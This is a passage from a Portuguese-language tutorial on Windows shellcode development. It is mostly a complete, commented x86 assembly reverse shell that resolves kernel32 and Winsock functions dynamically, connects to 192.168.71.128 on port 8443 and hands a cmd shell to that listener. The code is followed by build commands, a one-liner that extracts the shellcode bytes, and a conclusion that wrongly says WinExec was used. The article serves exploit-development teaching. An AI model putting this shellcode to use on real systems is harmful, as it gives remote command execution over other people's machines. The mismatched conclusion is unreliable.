    mov eax, [eax + 0x14]   ;movendo o offset da InMemoryOrderModuleList (LDR + 0x014) para eax
    mov eax, [eax]          ;carregando o endereço efetivo do primeiro modulo - o executavel em si
    mov eax, [eax]          ;carregando o endereço efetivo do segundo modulo - ntdll.dll
    mov ebx, [eax + 0x10]   ;carregando o endereço base do terceiro modulo - kernel32.dll

getProcAddress:

    ;enviando nome da função para stack
    xor edx, edx                ;zerando o registrador
    push 0x4e4e7373             ;movendo NNss para stack
    sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
    push 0x65726464             ;movendo erdd para stack
    push 0x41636f72             ;movendo Acor para stack
    push 0x50746547             ;movendo PteG para stack
    ;encontrando o endereço da Export Table e armazenando em edx
    mov edx, [ebx + 0x3c]       ;conteudo de 0x3c é f8 e foi movido para edx
    add edx, ebx                ;adicionado o endereço base da kernel32 a f8
    mov edx, [edx + 0x78]       ;adicionado 0x78 (170 - f8) para obter o RVA de Image Export Directory
    add edx, ebx                ;adicionado o endereço base da kernel32 para obter o endereço base de Image Export Directory
    ;encontrando o endereço da Export Name Pointer table e armazenando em ecx
    mov ecx, [edx + 0x20]       ;adicionadno 0x20 para obter o RVA da Export Name Pointer Table
    add ecx, ebx                ;adicionado o endereço base da kernel32 para obter o endereço base de Export Name Pointer Table
    mov [ebp-4], ecx            ;movendo o endereço base de Export Name Pointer Table para a variavel [ebp-4]
    ;encontrando o endereço de Export Address table e armazenando em edx
    mov edx, [edx + 0x1c]       ;adicionando 0x1c para obter o RVA da Export Address Table
    add edx, ebx                ;adicionado o endereço base da kernel32 para obter o endereço base de Export Address Table

;encontrando o endereço da GetrProcAddress na kernel32.dll com loop
        xor eax, eax                    ;zerando o registrador para uso no loop
findproc:

    xor ecx, ecx            ;zerando o registrador para ser usado em comparações de string
    mov esi, esp            ;movendo GetrProcAddress da stack para esi
    mov edi, [ebp-4]        ;movendo o endereço base da Export Name Pointer Table para edi
    mov edi, [edi + eax*4]  ;endereço base da Export Name Pointer Table + valor ordinal * 4, edi = RVA do função buscada pelo nome
    add edi, ebx            ;adicionando o endereço base da kernel32 ao RVA da função
    add cx, 7               ;movendo o comprimento da string GetrProcAddress para cx: GetProcAddress = 14 bytes = 7 WORD
    repe cmpsw              ;compara o numero de WORDS no registrador cx da esquerda para direita com edi e esi, armazena a saída na flag ZF
    jz findaddr             ;pula para findaddr e quebra o loop se a flag ZE for TRUE
    inc eax                 ;incrementa o contador que contém o ordinal
    loop findproc           ;loop no findproc
findaddr:

    add eax, 2              ;aplicando a correção no contador de ebx
    mov edi, [edx + eax*4]  ;corrigindo o valor de edi
    add edi, ebx            ;adicione o endereço base do kerneldll32 ao endereço acima para obter o endereço GetProcAddress
    mov ebp, edi            ;carregando o endereço da GetProcAddress em ebp

loadLibraryA:

	xor ecx, ecx    ;zerando o registrador
	push ecx        ;enviando 0x0 como string terminator
	push 0x41797261 ;enviando Ayra para stack
	push 0x7262694c ;enviando rbiL para Stack
	push 0x64616f4c ;enviando daoL para stack
	push esp        ;enviando ponteiro da string para stack
	push ebx        ;enviando ponteiro da kernel32.dll para stack
	call ebp        ;chamando GetProcAddress("kernel32.dll", "LoadLibraryA")

ws2_32:

	push 0x4e4e3233              ;movendo NN32 para stack
	sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
	push 0x5f327377              ;movendo _2sw para stack
	push esp                     ;movendo ponteiro para string para a stack
	call eax                     ;chamando LoadLibraryA(ws2_32)
	mov esi, eax                 ;salvando ponteiro para ws2_32 para uso recorrente

WSAStartup:

	push 0x4e4e7075              ;movendo NNpu para stack
	sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
	push 0x74726174              ;movendo trat para stack
	push 0x53415357              ;movendo SASW para stack
	push esp                     ;movendo ponteiro da string para a stack
	push esi                     ;movendo ponteiro da ws2_32 para esi
	call ebp                     ;chamando GetProcAddress("ws2_32.dll", "WSAStartup")

WSAStartupCall:

	xor edx, edx    ;zerando registrador
	mov dx, 0x190   ;preparando espaço para WSADATA
	sub esp, edx    ;alocando o espaço para WSADATA
	push esp        ;movendo ponteiro para este espaço
	push edx        ;enviando o parametro wVersionRequested para stack
	call eax        ;chamando WSAStartup(MAKEWORD(2, 2), wsadata_pointer)

WSASocketA:

	push 0x4e4e4174              ;movendo NNAt para stack
	sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
	push 0x656b636f              ;movendo ekco para stack
	push 0x53415357              ;movendo SASW para stack
	push esp                     ;movendo ponteiro da string para a stack
	push esi                     ;movendo ponteiro da ws2_32 para esi
	call ebp                     ;chamando GetProcAddress("ws2_32.dll", "`WSASocketA")

WSASocketACall:

	xor edx, edx    ;zerando registrador
	push edx        ;dwFlags=NULL
	push edx        ;g=NULL
	push edx        ;lpProtocolInfo=NULL
	mov dl, 0x6     ;edx==6
	push edx        ;protocol=6
	sub dl, 0x5     ;edx==1
	push edx        ;type=1
	inc edx         ;edx==2
	push edx        ;af=2
	call eax        ;call WSASocketA
	push eax        ;enviando retorno para stack
	pop edi         ;salvando socket em edi

Connect:

	push 0x4e746365            ;movendo Ntce para stack
	sub word [esp + 0x3], 0x4e ;removendo o "N"
	push 0x6e6e6f63            ;movendo nnoc para stack
	push esp                   ;movendo ponteiro da string para a stack
	push esi                   ;movendo ponteiro da ws2_32 para esi
	call ebp                   ;chamando GetProcAddress("ws2_32.dll", "connect")

ConnectCall:

	 mov edx, 0x8148A9C1    ;movendo 192.168.71.128 + 0x01010101 para a stack
	 sub edx, 0x01010101    ;subtraindo 0x01010101
	 push edx               ;movendo ponteiro da sin_addr para a stack
	 push word 0xFB20       ;movendo porta 8443 = 0x20FB para a stack
	 xor edx, edx
	 mov dl, 2
	 push dx
	 mov edx, esp
	 push byte 0x10
	 push edx
	 push edi
	 call eax               ;chamando connect

CreateProcessA:

	push 0x4e4e4173              ;movendo NNAs para stack
	sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
	push 0x7365636f              ;movendo seco para stack
	push 0x72506574              ;movendo rPet para stack
	push 0x61657243              ;movendo aerC para stack
	push esp                     ;movendo ponteiro da string para a stack
	push ebx                     ;movendo ponteiro da kernel32 para esi
	call ebp                     ;chamando GetProcAddress("kernel32.dll", "CreateProcessA")
	mov esi, ebx                 ;salvando kernel32 em um novo ponteiro

cmd:

	push 0x4e646d63            ;movendo Ndmc para stack
	sub word [esp + 0x3], 0x4e ;removendo o "N"
	mov ebx, esp               ;movendo ponteiro da string para a stack
        ;configurando a estrutura STARTUPINFO
	push edi                   ;preenchendo o argumento hStdError com o socket
	push edi                   ;preenchendo o argumento hStdOutput com o socket
	push edi                   ;preenchendo o argumento hStdInput com o socket
	xor edi, edi               ;limpando edi par usar com os NULLs que precisamos
	push byte 0x12             ;enviaremos 18 * 4 = 72 null bytes para stack (tamanho da estrutura da STARTUPINFOA)
	pop ecx                    ;preparando ecx para o loop

looper:

	push edi                         ;enviando uma dword null para stack
	loop looper                      ;fazendo o loop até enviar para stack os nulls suficientes
	mov word [esp + 0x3c], 0x0101    ;configurando dwFlags para STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
	mov byte [esp + 0x10], 0x44      ;configurando cb com o tamanho da estrutura 0x44 = 68 decimal
	lea ecx, [esp + 0x10]            ;configurando ecx como um ponteiro para a estrutura STARTUPINFO
	;montando e chamando CreateProcessA
	push esp                         ;enviando ponteiro da PROCESS_INFORMATION para stack
	push ecx                         ;enviando ponteiro da STARTUPINFOA para stack
	push edi                         ;argumento lpCurrentDirectory será NULL então o processo inicializará no mesmo diretório do processo pai
	push edi                         ;argumento lpEnvironment será NULL então o processo terá o mesmo ambiente do processo pai
	push edi                         ;argumento dwCreationFlags será NULL
	inc edi                          ;edi==1
	push edi                         ;argumento bInheritHandles=TURE
	dec edi                          ;edi==0
	push edi                         ;argumento lpThreadAttributes será NULL
	push edi                         ;argumento lpProcessAttributes será NULL
	push ebx                         ;argumento lpCommandLine apontará para "cmd,0"
	push edi                         ;argumento lpApplicationName será NULL
	call eax                         ;chamando CreateProcessA

ExitProcess:

	push 0x4e737365            ;movendo Nsse para stack
	sub word [esp + 0x3], 0x4e ;removendo o "N"
	push 0x636f7250            ;movendo corP para stack
	push 0x74697845            ;movendo tixE para stack
	push esp                   ;movendo ponteiro da string para a stack
	push esi                   ;movendo ponteiro da kernel32 para esi
	call ebp                   ;chamando GetProcAddress("kernel32.dll", "ExitProcess")

	;chamando ExitProcess
	xor ecx, ecx               ;zerando registrador
	push ecx                   ;enviando 0x00 para stack
	call eax                   ;chamando ExitProcess

Agora podemos compilá-lo no próprio Linux:

1
2
3
$ nasm -f elf shell.asm
$ ld -m elf_i386 -o shell shell.o
$ objdump -M intel -d shell

Para transformar o programa em shellcode, utilizaremos o mesmo oneliner de sempre:

1
$ for i in $(objdump -d shell | grep '^ ' | cut -f2);do echo -n '\x'$i;done;echo

Agora podemos injetar o shellcode em nosso programa de testes, e testá-lo na máquina alvo.

Uma vez que tudo esteja pronto, ao compilarmos o programa e executarmos na máquina Windows alvo, com um listener ouvindo no socket configurado, temos o reverse shell.

Temos um reverse shell funcional como o shellcode chamando as APIs do Windows.

Considerações

Estes são os passos primordiais para um bom shellcode no ambiente Windows com endereços dinâmicos. No exemplo desenvolvido, foi utilizada a função WinExec(), porém existe uma infinidade de funções úteis, como CreateProcess(), GetProcess(), entre outras. Os passos mais importantes são o de encontrar o endereço base da kernel32.dll, entender a estrutura interna desta DLL e entender como funcionam as estruturas TEB e PEB.

Conclusão

Neste artigo, foram explorados os fundamentos do desenvolvimento de shellcodes, com um foco particular no ambiente Windows e na manipulação de endereços dinâmicos. Inicialmente, apresentou-se o conceito de shellcoding, destacando sua importância no contexto da cibersegurança e da exploração de vulnerabilidades. Em seguida, detalharam-se os conceitos básicos, incluindo registradores, instruções de assembly e chamadas de sistema, proporcionando uma base sólida para os leitores.

A investigação aprofundada da estrutura interna da DLL kernel32.dll permitiu a identificação e utilização de funções críticas como WinExec(). Por meio de uma análise detalhada, foi demonstrado como localizar os RVAs (Relative Virtual Addresses) das funções e aplicar essas técnicas na criação de shellcodes robustos e eficazes.

Além disso, discutiu-se a importância das estruturas TEB e PEB e como elas são fundamentais para navegar pelo espaço de endereçamento do Windows. Embora o exemplo tenha se concentrado na função WinExec(), o mesmo princípio pode ser aplicado a uma variedade de outras funções úteis, como CreateProcess() e GetProcess(). Esse conhecimento é crucial para a criação de shellcodes adaptáveis e resistentes a mudanças no ambiente de execução.

Ao longo do artigo, foi enfatizada a importância de compreender a mecânica interna dos sistemas operacionais e de adotar uma abordagem hacker para explorar vulnerabilidades de forma criativa e eficaz. O desenvolvimento de shellcodes não é apenas uma habilidade técnica, mas também uma arte que exige engenhosidade e precisão. Este artigo visa fornecer aos leitores as ferramentas e o conhecimento necessários para aprofundar suas habilidades de hacking.

Espera-se que este artigo tenha proporcionado um entendimento claro e detalhado sobre o desenvolvimento de shellcodes, oferecendo tanto aos iniciantes quanto aos profissionais experientes uma visão aprofundada das técnicas envolvidas. Continuar explorando e praticando essas habilidades é essencial para aprimorar a capacidade de identificar e mitigar vulnerabilidades de segurança, desempenhando um papel crucial na proteção de sistemas e redes contra ameaças cada vez mais sofisticadas.

Referências

This post is licensed under CC BY 4.0 by the author.